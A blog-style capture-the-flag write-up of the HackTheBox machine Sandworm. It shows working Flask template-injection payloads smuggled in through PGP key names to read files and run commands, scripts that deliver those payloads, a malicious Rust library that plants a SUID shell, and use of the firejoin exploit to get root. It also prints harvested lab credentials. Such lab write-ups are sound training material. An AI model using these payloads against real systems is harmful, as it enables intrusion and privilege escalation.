HTB: Sandworm

Sean Gray
14 min readNov 18, 2023

--

This is my write-up for the Medium HacktheBox machine Sandworm. Topics covered in this article are flask SSTI, code execution via malicious Rust libraries and firejoin (CVE-2022–31214).

Recon

└─$ nmap -sV -T4 -p- -A 10.10.11.218
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-15 14:37 EST
Nmap scan report for 10.10.11.218
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds

From our scan it looks like we’re dealing with a webserver running HTTPS on 443 as well as SSH on port 22.

Browsing to the IP address will redirect us to https://ssa.htb/ .

Looks like we have to hack into the SSA (Secret Spy Agency)!

A quick dirb scan will give us these endpoints:

---- Scanning URL: https://ssa.htb/ ----
+ https://ssa.htb/about (CODE:200|SIZE:5584)
+ https://ssa.htb/admin (CODE:302|SIZE:227)
+ https://ssa.htb/contact (CODE:200|SIZE:3543)
+ https://ssa.htb/guide (CODE:200|SIZE:9043)
+ https://ssa.htb/login (CODE:200|SIZE:4392)
+ https://ssa.htb/logout (CODE:302|SIZE:229)
+ https://ssa.htb/pgp (CODE:200|SIZE:3187)
+ https://ssa.htb/process (CODE:405|SIZE:153)
+ https://ssa.htb/view (CODE:302|SIZE:225)

I find the /guide page to be very interesting.

The page essentially allows you to practice importing the SSA’s public key and then encrypting, signing and verifying messages.

Foothold

I start playing around with the different functions. I get interested in the “Verify Signature” function. The application uses the public key and the signature from a signed text to perform signature verification. After the verification process, a window pops up displaying the results.

We can notice something interesting in the output. Its got the name we used for our key when we generated it in the output, in my case “greper1337”.

Looking at the bottom of the page we also see this:

So we know that the webpage is running on Flask. This makes me think that if I can control the content of the website, perhaps I can get SSTI injection to work. So, I decide to generate a key with the key’s name being {{7 * 7}}. I sign a message with it and then plug it into the web application to verify the signature. Sure enough I get this back:

This happened because in many templating languages, including Flask, {{ }} is used to indicate that the enclosed content should be evaluated or executed. In this case, 7 * 7 evaluates to 49. So, the application is interpreting "{{7 * 7}}" as a command to calculate the value of 7 times 7, which is 49, and that's being used as the author's name. Further, the "<49>" appears to be the application interpreting the calculated value as an email address, which is a common format in PGP signatures.

I entered {{7 * 7}} for both the name and the email when I generated the key so, now I know that both of those fields are vulnerable to SSTI.

After learning this, I hurry over to hacktricks to search for some more payloads:

To speed things up I use a python script to generate a custom key (keygen.py) and a python script to sign a message (sign.py).

#!/usr/bin/python3
#keygen.py

import gnupg
import tempfile
import argparse
import subprocess
import os

def rmdir(directory):
sistema_operativo = os.name
if sistema_operativo == 'posix':
subprocess.run(['rm', '-rf', directory])
elif sistema_operativo == 'nt':
subprocess.run(['rmdir', '/s', '/q', directory])

def gen_keys(passwd, name, email, base_name, bits):
temp_dir = tempfile.mkdtemp()
gpg = gnupg.GPG(gnupghome=temp_dir)

input_data = gpg.gen_key_input(
key_type="RSA",
key_length=bits,
passphrase=passwd,
name_real=name,
name_email=email
)

key = gpg.gen_key(input_data)

public_key = gpg.export_keys(key.fingerprint)
private_key = gpg.export_keys(key.fingerprint, secret=True, passphrase=passwd)

with open(base_name + '.pub.asc', 'w') as file:
file.write(public_key)

with open(base_name + '.key.asc', 'w') as file:
file.write(private_key)

rmdir(temp_dir)
print('\n[+] Keys generated successfully\n')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='PGP Key pair RSA generator')
parser.add_argument('-p', '--passphrase', dest='passphrase' , type=str, help='Password for the private key', required=True)
parser.add_argument('-n', '--name', dest='name' , type=str, help='User real name', required=True)
parser.add_argument('-e', '--email', dest='email' , type=str, help='User e-mail', required=True)
parser.add_argument('-b', '--base-name', dest='base_name', type=str, help='Base name for the keys', required=False, default='keypgp_uwu')
parser.add_argument('--bits', dest='bits', type=int, help='Key length in bits', required=False, default=2048)
args = parser.parse_args()

gen_keys(args.passphrase, args.name, args.email, args.base_name, args.bits)
#!/usr/bin/python3
#sign.py

import gnupg
import tempfile
import argparse
import subprocess
import os

def rmdir(directory):
sistema_operativo = os.name
if sistema_operativo == 'posix':
subprocess.run(['rm', '-rf', directory])
elif sistema_operativo == 'nt':
subprocess.run(['rmdir', '/s', '/q', directory])

def sign_text(pubkey, privkey, passwd, message):
temp_dir = tempfile.mkdtemp()
gpg = gnupg.GPG(gnupghome=temp_dir)

with open(privkey, 'rb') as f:
key_data = f.read()
import_result = gpg.import_keys(key_data)
if import_result.count == 0:
raise ValueError('\n[-]Failed to import private key\n')

private_key = import_result.results[0]['fingerprint']

with open(pubkey, 'rb') as f:
key_data = f.read()
import_result = gpg.import_keys(key_data)
if import_result.count == 0:
raise ValueError('\n[-]Failed to import public key\n')

signed_data = gpg.sign(message, keyid=private_key, passphrase=passwd)
verification_result = gpg.verify(signed_data.data)

rmdir(temp_dir)
if verification_result.valid:
return signed_data.data.decode()
else:
raise ValueError('\n[!]Signature verification failed')


if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Message signing with PGP')
parser.add_argument('-c', '--public-key', dest='pubkey' , type=str, help='Path to PGP Public Key file', required=True)
parser.add_argument('-k', '--private-key', dest='privkey' , type=str, help='Path to PGP Private Key file', required=True)
parser.add_argument('-p', '--passphrase', dest='passphrase' , type=str, help='PGP Private Key password', required=True)
parser.add_argument('-m', '--message', dest='message', type=str, help='Message to sign', required=True)
args = parser.parse_args()


signed_text = sign_text(args.pubkey, args.privkey, args.passphrase, args.message)
print(signed_text)

These two scripts will help me generate keys and sign messages quicker so that I can experiment with different SSTI payloads faster.

Using these scripts together, I can generate one payload per command. I go through a list of payloads until I hit upon one that works: {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

└─$ python3 keygen.py -p password -n '{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}' -e 'test@test.test' -b test --bits 256; python3 sign.py -c ./test.pub.asc -k test.key.asc -p "password" -m "test1234"

[+] Keys generated successfully

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

test1234
-----BEGIN PGP SIGNATURE-----

iQGzBAEBCgAdFiEEyXm2OpTPa01FXC1yKSE3+vbnODYFAmVVSXcACgkQKSE3+vbn
ODaq/Av/eD1VWLJ/6exZvyj1AtwCnI9QTg2S2F29EPghKHVDzXMH/FpUkHe+0eaQ
6f+1BdzeMhPigGrCAPZVNO3Y/Ug9xhqH2lUq9cyKyb2GJcesmn2Hl4ZTdaiO0Qfd
089s98r+/Ixm2n3b0p9nIrrQcUlWIwfaO5iSzB0Y0id6n9tb6QJwDMG2QeSG+pAQ
qSxe+xrpe9YAivLhEsaqtl/hnF7lL6vfFKNuh7y0H9/fZ9OPimV+Fit+NQOqPX0P
YhFYONAgedfeNujxqf1l5cOaMWLSuqIYE7KO+CE0/3cEia442LluCx73cxOzVXo9
+MYe6hzNx2+5WXL44XwehSLXbOi7IIOYL8wCjIKZx5y8qPNtRPA6q0K2SFzbyYs+
DjDHIsvjol4AK2LfN4NF497IDhh6Vfsxv9+x3fu6DO3AwTS0FM98jTkCp5tefQQS
NgNcz0YAMWQzR9kupJet6+8u7EGtxyVKE6jQrs/75cQxjelTih5uU2HWk+/OAn8k
3PC1ibms
=a1bg
-----END PGP SIGNATURE-----

When I verify this message with the public key, I get this back:

It looks like we were able to read the /etc/passwd file.

I decide to use my new LFI to read files on the machine and look for clues that might give me a foothold on the system.

Another payload that helps me out is {{ cycler.__init__.__globals__.os.popen('ls -la /directory/path').read() }} which allows me to list directories.

Using my two payloads I eventually identify an important file that contains credentials: /home/atlas/.config/httpie/sessions/localhost_5000/admin.json

This payload will allow me to view it: {{ request.__class__._load_form_data.__globals__.__builtins__.open("/home/atlas/.config/httpie/sessions/localhost_5000/admin.json").read() }}

This payload returns the contents of the admin.json file, which contains the password quietLiketheWind22 for the user silentobserver . With these creds we can log into the machine via SSH.

Root

Looking around the system I see that the SUID but is flipped to ON on the firejail binary.

silentobserver@sandworm:/usr/local/bin$ ls -la
total 20992
drwxr-xr-x 2 root root 4096 Jun 6 11:49 .
drwxr-xr-x 11 root root 4096 Jun 6 11:49 ..
-rwxr-xr-x 1 root root 129896 Nov 29 2022 firecfg
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 firejail
-rwxr-xr-x 1 root root 224376 Nov 29 2022 firemon
-rwxr-xr-x 1 root root 4898752 Nov 29 2022 gpg
-rwxr-xr-x 1 root root 1960456 Nov 29 2022 gpg-agent
-rwxr-xr-x 1 root root 1147488 Nov 29 2022 gpg-card
-rwxr-xr-x 1 root root 700216 Nov 29 2022 gpgconf
-rwxr-xr-x 1 root root 667856 Nov 29 2022 gpg-connect-agent
-rwxr-xr-x 1 root root 93928 Nov 29 2022 gpgparsemail
-rwxr-xr-x 1 root root 1021896 Nov 29 2022 gpgscm
-rwxr-xr-x 1 root root 2504736 Nov 29 2022 gpgsm
-rwxr-xr-x 1 root root 293648 Nov 29 2022 gpgsplit
-rwxr-xr-x 1 root root 642248 Nov 29 2022 gpgtar
-rwxr-xr-x 1 root root 2458496 Nov 29 2022 gpgv
-rwxr-xr-x 1 root root 1032728 Nov 29 2022 gpg-wks-client
-rwxr-xr-x 1 root root 912912 Nov 29 2022 gpg-wks-server
-rwxr-xr-x 1 root root 217 Nov 22 2022 gunicorn
-rwxr-xr-x 1 root root 137992 Nov 29 2022 jailcheck
-rwxr-xr-x 1 root root 779192 Nov 29 2022 kbxutil
-rwxr-xr-x 1 root root 3098 Nov 29 2022 npth-config
-rwxr-xr-x 1 root root 52192 Nov 29 2022 watchgnupg

It apparently can be run by users in the jailer group, which we are not a member of. I decide that we most likely need to get access to the other user account, atlas as they are probably a member of this group.

I run pspy64 to take a look at processes running on the machine:

2023/11/17 19:36:34 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
2023/11/17 19:38:01 CMD: UID=0 PID=1689 | /usr/sbin/CRON -f -P
2023/11/17 19:38:01 CMD: UID=0 PID=1688 | /usr/sbin/CRON -f -P
2023/11/17 19:38:01 CMD: UID=0 PID=1692 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/11/17 19:38:01 CMD: UID=0 PID=1690 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/11/17 19:38:01 CMD: UID=0 PID=1694 | sleep 10
2023/11/17 19:38:01 CMD: UID=0 PID=1693 | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh
2023/11/17 19:38:01 CMD: UID=1000 PID=1695 | /usr/bin/cargo run --offline
2023/11/17 19:38:01 CMD: UID=1000 PID=1696 | rustc -vV
2023/11/17 19:38:01 CMD: UID=1000 PID=1697 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed
2023/11/17 19:38:01 CMD: UID=1000 PID=1699 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/11/17 19:38:02 CMD: UID=1000 PID=1701 | rustc -vV
2023/11/17 19:38:11 CMD: UID=0 PID=1707 | /bin/rm -r /opt/crates
2023/11/17 19:38:11 CMD: UID=0 PID=1706 | /bin/bash /root/Cleanup/clean_c.sh
2023/11/17 19:38:11 CMD: UID=0 PID=1708 | /bin/cp -rp /root/Cleanup/crates /opt/
2023/11/17 19:38:11 CMD: UID=0 PID=1709 | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet

We can see that root is executing a Rust program located in /opt/tipnet while using the identity of the user atlas. So I decide to take a look at the program’s code:

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}

fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.

");


let mode = get_mode();

if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}

let mut conn = connect_to_db("Upstream").unwrap();


if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}

println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();

if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}

println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();

// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");

let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();

if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}

logger::log(username, keywords.as_str().trim(), justification.as_str());

search_sigint(&mut conn, keywords.as_str().trim());

}

fn get_mode() -> String {

let valid = false;
let mut mode = String::new();

while ! valid {
mode.clear();

println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");

io::stdin().read_line(&mut mode).unwrap();

match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());

let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();

let now = Utc::now();

for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);

let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

From reading this program we get the database password “4The_Greater_GoodJ4A”, we also can see that the program uses an external library called logger . Additionally, we can see that our user, silentobserver , has permissions to modify files in the src directory of this library /opt/crates/logger .

In order to get a shell as atlas we can put a malicious library into the /opt/crates/logger/src folder. By replacing the file /opt/creates/logger/src/lib.rs with a malicious lib.rs file.

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
// copy bash with suid but
Command::new("cp").arg("/bin/bash").arg("/tmp/shell").spawn().expect("command execution failed");

let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};

if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}

What this malicious lib.rs file will do is copy the binary /bin/bash to /tmp/shell .

silentobserver@sandworm:/tmp$ ls -la
total 4420
drwxrwxrwt 12 root root 4096 Nov 17 21:00 .
drwxr-xr-x 19 root root 4096 Jun 7 13:53 ..
drwxrwxrwt 2 root root 4096 Nov 17 19:28 .font-unix
drwxrwxrwt 2 root root 4096 Nov 17 19:28 .ICE-unix
-rwxr-xr-x 1 atlas atlas 1396520 Nov 17 21:00 shell
drwx------ 3 root root 4096 Nov 17 19:28 systemd-private-898275a784964f70a6315648bf3a201d-ModemManager.service-80gXoo
drwx------ 3 root root 4096 Nov 17 19:28 systemd-private-898275a784964f70a6315648bf3a201d-systemd-logind.service-hu35ZA
drwx------ 3 root root 4096 Nov 17 19:28 systemd-private-898275a784964f70a6315648bf3a201d-systemd-resolved.service-lJbeci
drwx------ 3 root root 4096 Nov 17 19:28 systemd-private-898275a784964f70a6315648bf3a201d-systemd-timesyncd.service-84ETKL
drwxrwxrwt 2 root root 4096 Nov 17 19:28 .Test-unix
drwx------ 2 root root 4096 Nov 17 19:29 vmware-root_809-4282301975
drwxrwxrwt 2 root root 4096 Nov 17 19:28 .X11-unix
drwxrwxrwt 2 root root 4096 Nov 17 19:28 .XIM-unix

Now we need to flip the SUID bit of the file to ON. We can do that with another payload.

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
// copy bash with suid but
Command::new("chmod").arg("+s").arg("/tmp/shell").spawn().expect("command execution failed");

let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};

if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}

The end result will be a /bin/bash binary called shell owned by atlas with the SUID but flipped to ON. We can then use this binary to jump into a shell as atlas with the -p option.

I jump into a shell as atlas but even as atlas for some reason we can’t execute the firejail binary.

shell-5.1$ ./firejail --version
shell: ./firejail: Permission denied

I realize that this is probably because we are in firejail.
Firejail uses sandboxing to isolate applications from the rest of the system. I echo my id_rsa.pub key into authorized_keys and ssh into the box as atlas. Then I take a look at running processes:

atlas@sandworm:/usr/local/etc/firejail$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
atlas 1 0.0 0.0 4924 2792 pts/2 S 21:24 0:00 /usr/local/bin/firejail
atlas 3 0.0 0.1 8700 5460 pts/2 S 21:24 0:00 /bin/bash
atlas 23 0.0 0.0 10332 3720 pts/2 R+ 21:30 0:00 ps -aux

As we can see firejail is currently being run by the atlas user. We can kill the process and escape from jail!

atlas@sandworm:/usr/local/etc/firejail$ kill 1
atlas@sandworm:/usr/local/etc/firejail$
Child received signal 15, shutting down the sandbox...

Parent is shutting down, bye...

After doing that we can get the version of firejail:

atlas@sandworm:~$ firejail --version
firejail version 0.9.68

Doing some research we can see that this version of firejail is vulnerable to an attack called firejoin (CVE-2022–31214).

We can grab a PoC from here: https://seclists.org/oss-sec/2022/q2/att-188/firejoin_py.bin

We can run the PoC and we’ll get this:

atlas@sandworm:/tmp$ python3 firejoin.py
You can now run 'firejail --join=4473' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Logging into another ssh session as atlas we run the following commands for a root shell:

atlas@sandworm:~$ firejail --join=4473
changing root to /proc/4473/root
Warning: cleaning all supplementary groups
Child process initialized in 6.60 ms
atlas@sandworm:~$ su
root@sandworm:/home/atlas# whoami
root
root@sandworm:/home/atlas#

And that’s it! We rooted sandworm!

I hope you enjoyed! Keep hacking!

--

--